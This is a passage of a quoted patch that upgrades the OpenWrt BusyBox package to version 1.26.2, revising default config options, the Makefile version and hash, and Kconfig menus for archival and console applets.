> -config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> +config BUSYBOX_DEFAULT_PMAP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOPMEM
> +config BUSYBOX_DEFAULT_POWERTOP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UPTIME
> +config BUSYBOX_DEFAULT_PS
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FREE
> +config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FUSER
> +config BUSYBOX_DEFAULT_FEATURE_PS_LONG
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_KILL
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_KILLALL
> +config BUSYBOX_DEFAULT_FEATURE_PS_TIME
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_KILLALL5
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PGREP
> +config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_PIDOF
> +	default n
> +config BUSYBOX_DEFAULT_PSTREE
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
> +	default n
> +config BUSYBOX_DEFAULT_PWDX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
> +config BUSYBOX_DEFAULT_RENICE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PKILL
> +config BUSYBOX_DEFAULT_SMEMCAP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PS
> +config BUSYBOX_DEFAULT_BB_SYSCTL
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
> +config BUSYBOX_DEFAULT_TOP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_PS_LONG
> +config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_TIME
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
> +config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
> +config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RENICE
> +config BUSYBOX_DEFAULT_FEATURE_TOPMEM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BB_SYSCTL
> +config BUSYBOX_DEFAULT_UPTIME
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_WATCH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_CHPST
>   	bool
>   	default n
> @@ -2578,6 +2617,9 @@ config BUSYBOX_DEFAULT_SV
>   config BUSYBOX_DEFAULT_SV_DEFAULT_SERVICE_DIR
>   	string
>   	default ""
> +config BUSYBOX_DEFAULT_SVC
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SVLOGD
>   	bool
>   	default n
> @@ -2599,9 +2641,6 @@ config BUSYBOX_DEFAULT_LOAD_POLICY
>   config BUSYBOX_DEFAULT_MATCHPATHCON
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RESTORECON
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_RUNCON
>   	bool
>   	default n
> @@ -2611,6 +2650,9 @@ config BUSYBOX_DEFAULT_FEATURE_RUNCON_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_SELINUXENABLED
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SESTATUS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SETENFORCE
>   	bool
>   	default n
> @@ -2620,15 +2662,45 @@ config BUSYBOX_DEFAULT_SETFILES
>   config BUSYBOX_DEFAULT_FEATURE_SETFILES_CHECK_OPTION
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_RESTORECON
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SETSEBOOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SESTATUS
> +config BUSYBOX_DEFAULT_SH_IS_ASH
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_SH_IS_HUSH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SH_IS_NONE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_ASH
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_HUSH
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_NONE
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_ASH
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_ASH_BASH_COMPAT
>   	bool
>   	default y
> @@ -2662,15 +2734,6 @@ config BUSYBOX_DEFAULT_ASH_CMDCMD
>   config BUSYBOX_DEFAULT_ASH_MAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_CTTYHACK
>   	bool
>   	default n
> @@ -2725,30 +2788,12 @@ config BUSYBOX_DEFAULT_HUSH_MODE_X
>   config BUSYBOX_DEFAULT_MSH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_ASH
> +config BUSYBOX_DEFAULT_FEATURE_SH_MATH
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_HUSH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_NONE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_ASH
> +config BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_HUSH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_NONE
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SH_MATH_SUPPORT
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
>   	bool
>   	default n
> diff --git a/package/utils/busybox/Makefile b/package/utils/busybox/Makefile
> index e4f159e..0937ef9 100644
> --- a/package/utils/busybox/Makefile
> +++ b/package/utils/busybox/Makefile
> @@ -8,14 +8,14 @@
>   include $(TOPDIR)/rules.mk
>   
>   PKG_NAME:=busybox
> -PKG_VERSION:=1.25.1
> -PKG_RELEASE:=2
> +PKG_VERSION:=1.26.2
> +PKG_RELEASE:=1
>   PKG_FLAGS:=essential
>   
>   PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
>   PKG_SOURCE_URL:=https://www.busybox.net/downloads \
>   		http://sources.buildroot.net
> -PKG_HASH:=27667e0f2328fdbd79cfd622e4453e5c57e58f781c5da97c9be337d93aa2a02e
> +PKG_HASH:=da3e44913fc1a9c9b7c5337ea5292da518683cbff32be630777f565d6036af16
>   
>   PKG_BUILD_DEPENDS:=BUSYBOX_USE_LIBRPC:librpc BUSYBOX_CONFIG_PAM:libpam
>   PKG_BUILD_PARALLEL:=1
> diff --git a/package/utils/busybox/config/Config.in b/package/utils/busybox/config/Config.in
> index 3bf67c5..3ee3aa2 100644
> --- a/package/utils/busybox/config/Config.in
> +++ b/package/utils/busybox/config/Config.in
> @@ -10,15 +10,18 @@ config BUSYBOX_CONFIG_HAVE_DOT_CONFIG
>   
>   menu "Busybox Settings"
>   
> -menu "General Configuration"
> -
>   config BUSYBOX_CONFIG_DESKTOP
>   	bool "Enable options for full-blown desktop systems"
>   	default BUSYBOX_DEFAULT_DESKTOP
>   	help
>   	  Enable options and features which are not essential.
> -	  Select this only if you plan to use busybox on full-blown
> -	  desktop machine with common Linux distro, not on an embedded box.
> +	  Select this if you plan to use busybox on full-blown desktop machine
> +	  with common Linux distro, which needs higher level of command-line
> +	  compatibility.
> +
> +	  If you are preparing your build to be used on an embedded box
> +	  where you have tighter control over the entire set of userspace
> +	  tools, you can unselect this option for smaller code size.
>   
>   config BUSYBOX_CONFIG_EXTRA_COMPAT
>   	bool "Provide compatible behavior for rare corner cases (bigger code)"
> @@ -57,30 +60,6 @@ config BUSYBOX_CONFIG_PLATFORM_LINUX
>   	  Answering 'N' here will disable such applets and hide the
>   	  corresponding configuration options.
>   
> -choice
> -	prompt "Buffer allocation policy"
> -	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> -	help
> -	  There are 3 ways BusyBox can handle buffer allocations:
> -	  - Use malloc. This costs code size for the call to xmalloc.
> -	  - Put them on stack. For some very small machines with limited stack
> -	    space, this can be deadly. For most folks, this works just fine.
> -	  - Put them in BSS. This works beautifully for computers with a real
> -	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
> -	    behavior was the only one available for BusyBox versions 0.48 and
> -	    earlier.
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
> -	bool "Allocate with Malloc"
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> -	bool "Allocate on the Stack"
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
> -	bool "Allocate in the .bss section"
> -
> -endchoice
> -
>   config BUSYBOX_CONFIG_SHOW_USAGE
>   	bool "Show applet usage messages"
>   	default BUSYBOX_DEFAULT_SHOW_USAGE
> @@ -143,131 +122,6 @@ config BUSYBOX_CONFIG_INSTALL_NO_USR
>   	  will install applets only to /bin and /sbin,
>   	  never to /usr/bin or /usr/sbin.
>   
> -config BUSYBOX_CONFIG_LOCALE_SUPPORT
> -	bool "Enable locale support (system needs locale for this to work)"
> -	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
> -	help
> -	  Enable this if your system has locale support and you would like
> -	  busybox to support locale settings.
> -
> -config BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	bool "Support Unicode"
> -	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
> -	help
> -	  This makes various applets aware that one byte is not
> -	  one character on screen.
> -
> -	  Busybox aims to eventually work correctly with Unicode displays.
> -	  Any older encodings are not guaranteed to work.
> -	  Probably by the time when busybox will be fully Unicode-clean,
> -	  other encodings will be mainly of historic interest.
> -
> -config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	bool "Use libc routines for Unicode (else uses internal ones)"
> -	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
> -	help
> -	  With this option on, Unicode support is implemented using libc
> -	  routines. Otherwise, internal implementation is used.
> -	  Internal implementation is smaller.
> -
> -config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
> -	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
> -	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	help
> -	  With this option on, Unicode support is activated
> -	  only if locale-related variables have the value of the form
> -	  "xxxx.utf8"
> -
> -	  Otherwise, Unicode support will be always enabled and active.
> -
> -config BUSYBOX_CONFIG_SUBST_WCHAR
> -	int "Character code to substitute unprintable characters with"
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	default BUSYBOX_DEFAULT_SUBST_WCHAR
> -	help
> -	  Typical values are 63 for '?' (works with any output device),
> -	  30 for ASCII substitute control code,
> -	  65533 (0xfffd) for Unicode replacement character.
> -
> -config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
> -	int "Range of supported Unicode characters"
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> -	help
> -	  Any character with Unicode value bigger than this is assumed
> -	  to be non-printable on output device. Many applets replace
> -	  such chars with substitution character.
> -
> -	  The idea is that many valid printable Unicode chars are
> -	  nevertheless are not displayed correctly. Think about
> -	  combining charachers, double-wide hieroglyphs, obscure
> -	  characters in dozens of ancient scripts...
> -	  Many terminals, terminal emulators, xterms etc will fail
> -	  to handle them correctly. Choose the smallest value
> -	  which suits your needs.
> -
> -	  Typical values are:
> -	  126 - ASCII only
> -	  767 (0x2ff) - there are no combining chars in [0..767] range
> -			(the range includes Latin 1, Latin Ext. A and B),
> -			code is ~700 bytes smaller for this case.
> -	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
> -			code is ~300 bytes smaller for this case.
> -	  12799 (0x31ff) - nearly all non-ideographic characters are
> -			available in [0..12799] range, including
> -			East Asian scripts like katakana, hiragana, hangul,
> -			bopomofo...
> -	  0 - off, any valid printable Unicode character will be printed.
> -
> -config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
> -	bool "Allow zero-width Unicode characters on output"
> -	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option off, any Unicode char with width of 0
> -	  is substituted on output.
> -
> -config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
> -	bool "Allow wide Unicode characters on output"
> -	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option off, any Unicode char with width > 1
> -	  is substituted on output.
> -
> -config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> -	bool "Bidirectional character-aware line input"
> -	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	help
> -	  With this option on, right-to-left Unicode characters
> -	  are treated differently on input (e.g. cursor movement).
> -
> -config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
> -	bool "In bidi input, support non-ASCII neutral chars too"
> -	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> -	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> -	help
> -	  In most cases it's enough to treat only ASCII non-letters
> -	  (i.e. punctuation, numbers and space) as characters
> -	  with neutral directionality.
> -	  With this option on, more extensive (and bigger) table
> -	  of neutral chars will be used.
> -
> -config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
> -	bool "Make it possible to enter sequences of chars which are not Unicode"
> -	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option on, on line-editing input (such as used by shells)
> -	  invalid UTF-8 bytes are not substituted with the selected
> -	  substitution character.
> -	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
> -	  at shell prompt will list file named 0xff (single char name
> -	  with char value 255), not file named '?'.
> -
>   config BUSYBOX_CONFIG_PAM
>   	bool "Support for PAM (Pluggable Authentication Modules)"
>   	default BUSYBOX_DEFAULT_PAM
> @@ -275,19 +129,6 @@ config BUSYBOX_CONFIG_PAM
>   	  Use PAM in some busybox applets (currently login and httpd) instead
>   	  of direct access to password database.
>   
> -config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
> -	bool "Use sendfile system call"
> -	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  When enabled, busybox will use the kernel sendfile() function
> -	  instead of read/write loops to copy data between file descriptors
> -	  (for example, cp command does this a lot).
> -	  If sendfile() doesn't work, copying code falls back to read/write
> -	  loop. sendfile() was originally implemented for faster I/O
> -	  from files to sockets, but since Linux 2.6.33 it was extended
> -	  to work for many more file types.
> -
>   config BUSYBOX_CONFIG_LONG_OPTS
>   	bool "Support for --long-options"
>   	default BUSYBOX_DEFAULT_LONG_OPTS
> @@ -496,9 +337,7 @@ config BUSYBOX_CONFIG_FEATURE_HAVE_RPC
>   	#  This is automatically selected if any of enabled applets need it.
>   	#  You do not need to select it manually.
>   
> -endmenu
> -
> -menu 'Build Options'
> +comment 'Build Options'
>   
>   config BUSYBOX_CONFIG_STATIC
>   	bool "Build BusyBox as a static binary (no shared libs)"
> @@ -673,9 +512,73 @@ config BUSYBOX_CONFIG_EXTRA_LDLIBS
>   	help
>   	  Additional LDLIBS to pass to the linker with -l.
>   
> -endmenu
> +comment 'Installation Options ("make install" behavior)'
> +
> +choice
> +	prompt "What kind of applet links to install"
> +	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> +	help
> +	  Choose what kind of links to applets are created by "make install".
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> +	bool "as soft-links"
> +	help
> +	  Install applets as soft-links to the busybox binary. This needs some
> +	  free inodes on the filesystem, but might help with filesystem
> +	  generators that can't cope with hard-links.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
> +	bool "as hard-links"
> +	help
> +	  Install applets as hard-links to the busybox binary. This might
> +	  count on a filesystem with few inodes.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	bool "as script wrappers"
> +	help
> +	  Install applets as script wrappers that call the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
> +	bool "not installed"
> +	help
> +	  Do not install applet links. Useful when you plan to use
> +	  busybox --install for installing links, or plan to use
> +	  a standalone shell and thus don't need applet links.
> +
> +endchoice
> +
> +choice
> +	prompt "/bin/sh applet link"
> +	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> +	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	help
> +	  Choose how you install /bin/sh applet link.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> +	bool "as soft-link"
> +	help
> +	  Install /bin/sh applet as soft-link to the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
> +	bool "as hard-link"
> +	help
> +	  Install /bin/sh applet as hard-link to the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +	bool "as script wrapper"
> +	help
> +	  Install /bin/sh applet as script wrapper that calls
> +	  the busybox binary.
> +
> +endchoice
>   
> -menu 'Debugging Options'
> +config BUSYBOX_CONFIG_PREFIX
> +	string "BusyBox installation prefix"
> +	default BUSYBOX_DEFAULT_PREFIX
> +	help
> +	  Define your directory to install BusyBox files/subdirs in.
> +
> +comment 'Debugging Options'
>   
>   config BUSYBOX_CONFIG_DEBUG
>   	bool "Build BusyBox with extra Debugging symbols"
> @@ -769,78 +672,8 @@ endchoice
>   
>   endmenu
>   
> -menu 'Installation Options ("make install" behavior)'
> -
> -choice
> -	prompt "What kind of applet links to install"
> -	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> -	help
> -	  Choose what kind of links to applets are created by "make install".
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> -	bool "as soft-links"
> -	help
> -	  Install applets as soft-links to the busybox binary. This needs some
> -	  free inodes on the filesystem, but might help with filesystem
> -	  generators that can't cope with hard-links.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
> -	bool "as hard-links"
> -	help
> -	  Install applets as hard-links to the busybox binary. This might
> -	  count on a filesystem with few inodes.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	bool "as script wrappers"
> -	help
> -	  Install applets as script wrappers that call the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
> -	bool "not installed"
> -	help
> -	  Do not install applet links. Useful when you plan to use
> -	  busybox --install for installing links, or plan to use
> -	  a standalone shell and thus don't need applet links.
> -
> -endchoice
> -
> -choice
> -	prompt "/bin/sh applet link"
> -	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> -	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	help
> -	  Choose how you install /bin/sh applet link.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> -	bool "as soft-link"
> -	help
> -	  Install /bin/sh applet as soft-link to the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
> -	bool "as hard-link"
> -	help
> -	  Install /bin/sh applet as hard-link to the busybox binary.
> -
> -config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> -	bool "as script wrapper"
> -	help
> -	  Install /bin/sh applet as script wrapper that calls
> -	  the busybox binary.
> -
> -endchoice
> -
> -config BUSYBOX_CONFIG_PREFIX
> -	string "BusyBox installation prefix"
> -	default BUSYBOX_DEFAULT_PREFIX
> -	help
> -	  Define your directory to install BusyBox files/subdirs in.
> -
> -endmenu
> -
>   source libbb/Config.in
>   
> -endmenu
> -
>   comment "Applets"
>   
>   source archival/Config.in
> diff --git a/package/utils/busybox/config/archival/Config.in b/package/utils/busybox/config/archival/Config.in
> index ff4c2cf..cf47e65 100644
> --- a/package/utils/busybox/config/archival/Config.in
> +++ b/package/utils/busybox/config/archival/Config.in
> @@ -31,7 +31,7 @@ config BUSYBOX_CONFIG_FEATURE_SEAMLESS_GZ
>   	  Make tar, rpm, modprobe etc understand .gz data.
>   
>   config BUSYBOX_CONFIG_FEATURE_SEAMLESS_Z
> -	bool "tar, rpm, modprobe etc understand .Z data"
> +	bool "Make tar, rpm, modprobe etc understand .Z data"
>   	default BUSYBOX_DEFAULT_FEATURE_SEAMLESS_Z  # it is ancient
>   	help
>   	  Make tar, rpm, modprobe etc understand .Z data.
> @@ -79,10 +79,16 @@ config BUSYBOX_CONFIG_GUNZIP
>   	  You can use the `-t' option to test the integrity of
>   	  an archive, without decompressing it.
>   
> +config BUSYBOX_CONFIG_ZCAT
> +	bool "zcat"
> +	default BUSYBOX_DEFAULT_ZCAT
> +	help
> +	  Alias to "gunzip -c".
> +
>   config BUSYBOX_CONFIG_FEATURE_GUNZIP_LONG_OPTIONS
>   	bool "Enable long options"
>   	default BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_GUNZIP && BUSYBOX_CONFIG_LONG_OPTS
> +	depends on (BUSYBOX_CONFIG_GUNZIP || BUSYBOX_CONFIG_ZCAT) && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Enable use of long options.
>   config BUSYBOX_CONFIG_BUNZIP2
> @@ -97,6 +103,12 @@ config BUSYBOX_CONFIG_BUNZIP2
>   
>   	  Unless you have a specific application which requires bunzip2, you
>   	  should probably say N here.
> +
> +config BUSYBOX_CONFIG_BZCAT
> +	bool "bzcat"
> +	default BUSYBOX_DEFAULT_BZCAT
> +	help
> +	  Alias to "bunzip2 -c".
>   config BUSYBOX_CONFIG_UNLZMA
>   	bool "unlzma"
>   	default BUSYBOX_DEFAULT_UNLZMA
> @@ -109,31 +121,47 @@ config BUSYBOX_CONFIG_UNLZMA
>   	  The BusyBox unlzma applet is limited to decompression only.
>   	  On an x86 system, this applet adds about 4K.
>   
> -config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
> -	bool "Optimize unlzma for speed"
> -	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> -	depends on BUSYBOX_CONFIG_UNLZMA
> +config BUSYBOX_CONFIG_LZCAT
> +	bool "lzcat"
> +	default BUSYBOX_DEFAULT_LZCAT
>   	help
> -	  This option reduces decompression time by about 25% at the cost of
> -	  a 1K bigger binary.
> +	  unlzma is a compression utility using the Lempel-Ziv-Markov chain
> +	  compression algorithm, and range coding. Compression
> +	  is generally considerably better than that achieved by the bzip2
> +	  compressors.
> +
> +	  The BusyBox unlzma applet is limited to decompression only.
> +	  On an x86 system, this applet adds about 4K.
>   
>   config BUSYBOX_CONFIG_LZMA
> -	bool "Provide lzma alias which supports only unpacking"
> +	bool "lzma -d"
>   	default BUSYBOX_DEFAULT_LZMA
> -	depends on BUSYBOX_CONFIG_UNLZMA
>   	help
>   	  Enable this option if you want commands like "lzma -d" to work.
>   	  IOW: you'll get lzma applet, but it will always require -d option.
> +
> +config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
> +	bool "Optimize unlzma for speed"
> +	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +	depends on BUSYBOX_CONFIG_UNLZMA || BUSYBOX_CONFIG_LZCAT || BUSYBOX_CONFIG_LZMA
> +	help
> +	  This option reduces decompression time by about 25% at the cost of
> +	  a 1K bigger binary.
>   config BUSYBOX_CONFIG_UNXZ
>   	bool "unxz"
>   	default BUSYBOX_DEFAULT_UNXZ
>   	help
>   	  unxz is a unlzma successor.
>   
> +config BUSYBOX_CONFIG_XZCAT
> +	bool "xzcat"
> +	default BUSYBOX_DEFAULT_XZCAT
> +	help
> +	  Alias to "unxz -c".
> +
>   config BUSYBOX_CONFIG_XZ
> -	bool "Provide xz alias which supports only unpacking"
> +	bool "xz -d"
>   	default BUSYBOX_DEFAULT_XZ
> -	depends on BUSYBOX_CONFIG_UNXZ
>   	help
>   	  Enable this option if you want commands like "xz -d" to work.
>   	  IOW: you'll get xz applet, but it will always require -d option.
> @@ -158,7 +186,7 @@ config BUSYBOX_CONFIG_CPIO
>   	  cpio has 110 bytes of overheads for every stored file.
>   
>   	  This implementation of cpio can extract cpio archives created in the
> -	  "newc" or "crc" format, it cannot create or modify them.
> +	  "newc" or "crc" format.
>   
>   	  Unless you have a specific application which requires cpio, you
>   	  should probably say N here.
> @@ -198,16 +226,6 @@ config BUSYBOX_CONFIG_DPKG_DEB
>   
>   	  Unless you have a specific application which requires dpkg-deb,
>   	  say N here.
> -
> -config BUSYBOX_CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	bool "Extract only (-x)"
> -	default BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	depends on BUSYBOX_CONFIG_DPKG_DEB
> -	help
> -	  This reduces dpkg-deb to the equivalent of
> -	  "ar -p <deb> data.tar.gz | tar -zx". However it saves space as none
> -	  of the extra dpkg-deb, ar or tar options are needed, they are linked
> -	  to internally.
>   config BUSYBOX_CONFIG_GZIP
>   	bool "gzip"
>   	default BUSYBOX_DEFAULT_GZIP
> @@ -249,10 +267,22 @@ config BUSYBOX_CONFIG_LZOP
>   	help
>   	  Lzop compression/decompresion.
>   
> +config BUSYBOX_CONFIG_UNLZOP
> +	bool "unlzop"
> +	default BUSYBOX_DEFAULT_UNLZOP
> +	help
> +	  Lzop decompresion.
> +
> +config BUSYBOX_CONFIG_LZOPCAT
> +	bool "lzopcat"
> +	default BUSYBOX_DEFAULT_LZOPCAT
> +	help
> +	  Alias to "unlzop -c".
> +
>   config BUSYBOX_CONFIG_LZOP_COMPR_HIGH
>   	bool "lzop compression levels 7,8,9 (not very useful)"
>   	default BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
> -	depends on BUSYBOX_CONFIG_LZOP
> +	depends on BUSYBOX_CONFIG_LZOP || BUSYBOX_CONFIG_UNLZOP || BUSYBOX_CONFIG_LZOPCAT
>   	help
>   	  High levels (7,8,9) of lzop compression. These levels
>   	  are actually slower than gzip at equivalent compression ratios
> diff --git a/package/utils/busybox/config/console-tools/Config.in b/package/utils/busybox/config/console-tools/Config.in
> index 53937d2..e5a4bfb 100644
> --- a/package/utils/busybox/config/console-tools/Config.in
> +++ b/package/utils/busybox/config/console-tools/Config.in
> @@ -6,7 +6,6 @@
>   
>   menu "Console Utilities"
>   
> -
>   config BUSYBOX_CONFIG_CHVT
>   	bool "chvt"
>   	default BUSYBOX_DEFAULT_CHVT
> @@ -14,27 +13,17 @@ config BUSYBOX_CONFIG_CHVT
>   	help
>   	  This program is used to change to another terminal.
>   	  Example: chvt 4 (change to terminal /dev/tty4)
> -
> -config BUSYBOX_CONFIG_FGCONSOLE
> -	bool "fgconsole"
> -	default BUSYBOX_DEFAULT_FGCONSOLE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  This program prints active (foreground) console number.
> -
>   config BUSYBOX_CONFIG_CLEAR
>   	bool "clear"
>   	default BUSYBOX_DEFAULT_CLEAR
